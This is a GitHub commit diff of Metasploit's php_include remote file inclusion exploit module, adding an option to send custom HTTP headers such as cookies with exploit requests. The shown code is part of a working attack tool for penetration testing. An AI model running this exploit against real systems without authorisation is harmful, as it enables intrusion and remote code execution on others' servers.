Skip to content

Commit b657fd3

Browse files
committed
Merge branch 'php_include' of https://github.com/ethicalhack3r/metasploit-framework into ethicalhack3r-php_include
2 parents 3888c52 + f4e442b commit b657fd3

File tree

1 file changed

+20
-10
lines changed

1 file changed

+20
-10
lines changed

modules/exploits/unix/webapp/php_include.rb

Lines changed: 20 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
##
2-
# $Id$
2+
# $Id: php_include.rb 14774 2012-02-21 01:42:17Z rapid7 $
33
##
44

55
##
@@ -29,7 +29,7 @@ def initialize(info = {})
2929
},
3030
'Author' => [ 'hdm' , 'egypt', 'ethicalhack3r' ],
3131
'License' => MSF_LICENSE,
32-
'Version' => '$Revision$',
32+
'Version' => '$Revision: 14774 $',
3333
#'References' => [ ],
3434
'Privileged' => false,
3535
'Payload' =>
@@ -57,6 +57,7 @@ def initialize(info = {})
5757
OptString.new('PATH', [ true , "The base directory to prepend to the URL to try", '/']),
5858
OptString.new('PHPURI', [false, "The URI to request, with the include parameter changed to XXpathXX"]),
5959
OptString.new('POSTDATA', [false, "The POST data to send, with the include parameter changed to XXpathXX"]),
60+
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""]),
6061
OptPath.new('PHPRFIDB', [false, "A local file containing a list of URLs to try, with XXpathXX replacing the URL",
6162
File.join(Msf::Config.install_root, "data", "exploits", "php", "rfi-locations.dat")
6263
])
@@ -69,18 +70,27 @@ def check
6970
uri.gsub!(/\?.*/, "")
7071
print_status("Checking uri #{uri}")
7172
response = send_request_raw({ 'uri' => uri})
72-
if response.code == 200
73-
return Exploit::CheckCode::Detected
74-
end
73+
return Exploit::CheckCode::Detected if response.code == 200
7574
print_error("Server responded with #{response.code}")
7675
return Exploit::CheckCode::Safe
7776
else
7877
return Exploit::CheckCode::Unknown
7978
end
8079
end
8180

82-
def php_exploit
81+
def datastore_headers
82+
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
83+
headers_hash = Hash.new
84+
if (headers and ! headers.empty?)
85+
headers.split(',').each do |header|
86+
key,value = header.split(':')
87+
headers_hash[key] = value.strip
88+
end
89+
end
90+
headers_hash
91+
end
8392

93+
def php_exploit
8494
uris = []
8595

8696
tpath = datastore['PATH']
@@ -129,6 +139,7 @@ def php_exploit
129139
response = send_request_raw( {
130140
'global' => true,
131141
'uri' => tpath+uri,
142+
'headers' => datastore_headers,
132143
}, timeout)
133144
elsif http_method == "POST"
134145
response = send_request_raw(
@@ -137,11 +148,10 @@ def php_exploit
137148
'uri' => tpath+uri,
138149
'method' => http_method,
139150
'data' => postdata,
140-
'headers' =>
141-
{
151+
'headers' => datastore_headers.merge({
142152
'Content-Type' => 'application/x-www-form-urlencoded',
143-
'Content-Length' => postdata.length,
144-
}
153+
'Content-Length' => postdata.length
154+
})
145155
}, timeout)
146156
end
147157
handler

0 commit comments

Comments
 (0)